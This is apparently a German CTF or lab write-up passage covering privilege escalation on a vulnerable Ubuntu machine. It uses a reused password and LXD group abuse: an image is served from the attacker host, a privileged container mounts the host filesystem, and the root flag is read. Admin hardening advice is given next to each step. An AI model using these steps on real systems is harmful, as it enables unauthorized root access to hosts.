**Empfehlung (Pentester):** Die Umgebung als `machineboy` untersuchen. Insbesondere `sudo -l` erneut prüfen, nach SSH-Keys suchen, die interessante SUID-Datei `/home/machineboy/install` analysieren und prüfen, ob `machineboy` Mitglied der Gruppe `lxd` ist (wichtig für den nächsten Schritt).
**Empfehlung (Admin):** Passwort-Wiederverwendung strikt unterbinden! Unterschiedliche, starke Passwörter für alle Konten (System, Datenbank, Anwendungen) verwenden. Regelmäßige Passwort-Audits durchführen.
[sudo] password for machineboy: ghostroot510 # Eingabe nicht sichtbar
Sorry, user machineboy may not run sudo on kb-server.
**Analyse:** Als `machineboy` wird `sudo -l` ausgeführt, um zu prüfen, ob dieser Benutzer irgendwelche Befehle mit `sudo` ausführen darf. Nach Eingabe des Passworts (`ghostroot510`) wird gemeldet, dass `machineboy` keine `sudo`-Rechte hat.
**Bewertung:** Der einfache Weg über `sudo` ist hier nicht möglich. Andere Methoden zur Rechteausweitung müssen gefunden werden.
**Empfehlung (Pentester):** Andere Vektoren prüfen: Kernel-Exploits, SUID-Binaries (insbesondere `/home/machineboy/install`), Cron-Jobs, Gruppenmitgliedschaften (speziell `lxd`).
**Empfehlung (Admin):** `sudo`-Rechte nach dem Prinzip der geringsten Rechte vergeben. Nur benötigte Befehle für spezifische Benutzer freigeben.
**Analyse:** Da `sudo` nicht möglich ist, wird ein anderer bekannter Privilege-Escalation-Vektor über LXD/LXC versucht. Dies funktioniert typischerweise, wenn der aktuelle Benutzer (hier `machineboy`) Mitglied der Gruppe `lxd` ist. Der Prozess beinhaltet das Erstellen eines privilegierten LXD-Containers und das Mounten des Host-Dateisystems in diesen Container, um Root-Zugriff zu erlangen.
Klone nach 'lxd-alpine-builder'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42
Empfange Objekte: 100% (50/50), 3.11 MiB | 10.55 MiB/s, fertig.
Löse Unterschiede auf: 100% (15/15), fertig.
# ... Output des Build-Skripts ... (Erzeugt alpine-*.tar.gz)
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
**Analyse:** Auf dem Angreifersystem werden die Werkzeuge zum Erstellen eines Alpine Linux LXD-Images von GitHub geklont (`lxd-alpine-builder`). Das Build-Skript (`build-alpine`, nicht explizit gezeigt, aber notwendig) wird ausgeführt, um ein komprimiertes Tar-Archiv (`.tar.gz`) des Alpine-Images zu erstellen. Anschließend wird ein einfacher Python-HTTP-Server im Verzeichnis gestartet, um diese Image-Datei für das Zielsystem zum Download bereitzustellen.
**Bewertung:** Korrekte Vorbereitungsschritte auf der Angreiferseite, um das benötigte LXD-Image für den Exploit bereitzustellen. Alpine Linux wird oft gewählt, da es sehr klein ist.
**Empfehlung (Pentester):** Sicherstellen, dass das Build-Skript erfolgreich durchläuft und das `.tar.gz`-Image im Verzeichnis des HTTP-Servers liegt.
**Empfehlung (Admin):** Egress-Filtering auf dem Zielsystem kann das Herunterladen des Images vom Angreifer-Server verhindern.
machineboy@kb4.vuln's password: ghostroot510 # Eingabe nicht sichtbar
Welcome to Ubuntu 18.04.5 LTS ...
... (Login-Banner) ...
Last login: Sun Jan 24 13:41:56 2021 from 192.168.1.23
--2023-09-26 18:23:35-- http://192.168.2.199:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 192.168.2.199:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’
alpine-v3.13-x86_64-202 100%[===================>] 3.11M --.-KB/s in 0.01s
2023-09-26 18:23:35 (269 MB/s) - ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’ saved [3259593/3259593]
**Analyse:** Anstatt die `www-data`-Shell zu verwenden, wird hier eine neue SSH-Verbindung als `machineboy` mit dem Passwort `ghostroot510` aufgebaut. Dies bietet eine stabilere und interaktivere Shell. Im `/tmp`-Verzeichnis des Zielsystems wird das vorbereitete Alpine-LXD-Image (`.tar.gz`) mit `wget` vom HTTP-Server des Angreifers (192.168.2.199:8000) heruntergeladen.
**Bewertung:** Der SSH-Login als `machineboy` ist erfolgreich und bestätigt das gefundene Passwort. Das Herunterladen des Images ist der erste Schritt der LXD-Ausnutzung auf dem Zielsystem. Die Verwendung von `/tmp` ist üblich, da es meist beschreibbar ist.
**Empfehlung (Pentester):** Mit den nächsten Schritten des LXD-Exploits fortfahren: Image importieren, LXD initialisieren (falls nötig), privilegierten Container erstellen, Host-Dateisystem mounten.
**Empfehlung (Admin):** SSH-Zugriff nur mit Schlüsseln erlauben (Passwort-Authentifizierung deaktivieren). Benutzer niemals zur `lxd`-Gruppe hinzufügen, wenn sie keine Container verwalten müssen. Egress-Filtering anwenden.
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first container, try: lxc launch ubuntu:18.04
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a78d30
+---------+------------------------------------------+--------+------------------------------+--------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |
+---------+------------------------------------------+--------+------------------------------+--------+--------+------------------------------+
| myimage | cd73881adaac667ca3529972c7b380af240a9... | no | alpine v3.13 (20210218_01:39)| x86_64 | 3.11MB | Sep 26, 2023 at 6:24pm (UTC) |
+---------+------------------------------------------+--------+------------------------------+--------+--------+------------------------------+
Creating ignite
Error: No storage pool found. Please create a new storage pool
**Analyse:** Das heruntergeladene Alpine-Image wird mit `lxc image import` unter dem Alias `myimage` in den lokalen LXD-Image-Speicher importiert. `lxc image list` bestätigt den erfolgreichen Import. Der Versuch, einen Container (`ignite`) aus diesem Image zu initialisieren (`lxc init`), schlägt fehl, da noch kein LXD-Storage-Pool konfiguriert ist.
**Bewertung:** Der Image-Import war erfolgreich. Der Fehler beim Initialisieren des Containers zeigt, dass LXD auf diesem System vorhanden ist (sonst gäbe es einen "command not found"-Fehler), aber noch nicht vollständig konfiguriert wurde. Dies erfordert einen zusätzlichen Schritt: `lxd init`.
**Empfehlung (Pentester):** Den Befehl `lxd init` ausführen und die Standardeinstellungen bestätigen, um einen Storage Pool und ein Netzwerk-Bridge zu erstellen. Anschließend den `lxc init myimage ignite ...` Befehl erneut versuchen.
**Empfehlung (Admin):** LXD nur installieren, wenn es benötigt wird. Wenn installiert, sicherstellen, dass nur autorisierte Benutzer Mitglied der `lxd`-Gruppe sind. Die Konfiguration von LXD (Storage Pools, Netzwerke) sollte dokumentiert und überwacht werden.
Would you like to use LXD clustering? (yes/no) [default=no]: no
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes
Name of the new storage pool [default=default]: default
Name of the storage backend to use (btrfs, dir, lvm) [default=btrfs]: dir # Geändert auf 'dir' für einfachere Handhabung ohne BTRFS
Create a new BTRFS pool? (yes/no) [default=yes]: no # Entfällt bei 'dir'
Would you like to use an existing block device? (yes/no) [default=no]: # Entfällt bei 'dir'
Size in GB of the new loop device (1GB minimum) [default=15GB]: # Entfällt bei 'dir'
Would you like to connect to a MAAS server? (yes/no) [default=no]: no
Would you like to create a new local network bridge? (yes/no) [default=yes]: yes
What should the new bridge be called? [default=lxdbr0]: lxdbr0
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: auto
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: auto
Would you like LXD to be available over the network? (yes/no) [default=no]: no
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]: yes
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: no
Creating ignite
Device mydevice added to ignite
# Keine Ausgabe
uid=0(root) gid=0(root) groups=0(root)
**Analyse:** `lxd init` wird ausgeführt. Die meisten Standardeinstellungen werden übernommen, aber als Storage Backend wird `dir` gewählt (im Gegensatz zum Default `btrfs`), was oft einfacher ist, wenn keine speziellen Dateisystemanforderungen bestehen. Nach erfolgreicher Initialisierung wird der Container `ignite` erneut mit `lxc init myimage ignite -c security.privileged=true` erstellt. Der Parameter `-c security.privileged=true` ist entscheidend, da er dem Container erweiterte Rechte gibt, die für das Mounten des Host-Dateisystems benötigt werden. Mit `lxc config device add` wird das Root-Verzeichnis (`/`) des Hosts als Disk-Gerät (`mydevice`) in den Container unter dem Pfad `/mnt/root` eingebunden. Der Container wird mit `lxc start ignite` gestartet und mit `lxc exec ignite /bin/sh` eine Shell innerhalb des Containers geöffnet. Der `id`-Befehl innerhalb des Containers zeigt `uid=0(root)`.
**Bewertung:** Der LXD-Privilege-Escalation-Exploit wurde erfolgreich durchgeführt. Obwohl wir als `machineboy` gestartet sind, haben wir durch die Ausnutzung der (impliziten) Mitgliedschaft in der `lxd`-Gruppe und die Erstellung eines privilegierten Containers nun Root-Zugriff auf das Dateisystem des Hosts über den Mountpoint `/mnt/root` innerhalb des Containers.
**Empfehlung (Pentester):** Innerhalb der Container-Shell zum Verzeichnis `/mnt/root/root` navigieren und die `root.txt`-Datei auslesen. Andere sensible Dateien auf dem Host-System (z.B. `/etc/shadow`) können ebenfalls über `/mnt/root/etc/shadow` gelesen werden.
**Empfehlung (Admin):** Benutzer niemals unnötigerweise zur `lxd`-Gruppe hinzufügen. LXD absichern, ggf. AppArmor/SELinux-Profile für LXD härten. Monitoring auf verdächtige LXD-Aktivitäten (Erstellung privilegierter Container, Mounten von Host-Pfaden).
total 32K
drwx------ 4 root root 4.0K Jan 24 2021 .
drwxr-xr-x 26 root root 4.0K Jan 24 2021 ..
-rw------- 1 root root 0 Jan 24 2021 .bash_history
-rw-r--r-- 1 root root 3.0K Apr 9 2018 .bashrc
drwxr-xr-x 3 root root 4.0K Jan 24 2021 .local
-rw------- 1 root root 145 Jan 24 2021 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4.0K Jan 24 2021 .ssh
-rw------- 1 root root 240 Jan 24 2021 root.txt
________________
< congratulations >
----------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
kernelblog.org
cdf323526dbbd53d572d485fdd37d518
**Analyse:** Innerhalb der LXD-Container-Shell wird zum Verzeichnis `/mnt/root/root` gewechselt (was dem `/root`-Verzeichnis des Hosts entspricht). `ls -alh` zeigt den Inhalt, einschließlich der Datei `root.txt`. `cat root.txt` gibt den Inhalt aus: eine ASCII-Art-Kuh, ein Hinweis auf kernelblog.org und die Root-Flagge `cdf323526dbbd53d572d485fdd37d518`.
**Bewertung:** Privilege Escalation erfolgreich abgeschlossen! Die Root-Flagge wurde über den LXD-Exploit erlangt.
**Empfehlung (Pentester):** Root-Flagge notieren. Nach der User-Flagge suchen (möglicherweise in `/mnt/root/home/machineboy/`). Bericht abschließen.
**Empfehlung (Admin):** LXD-Absicherung (siehe vorherige Empfehlung). Sicherstellen, dass keine unnötigen Gruppenmitgliedschaften (wie `lxd`) für Benutzer bestehen.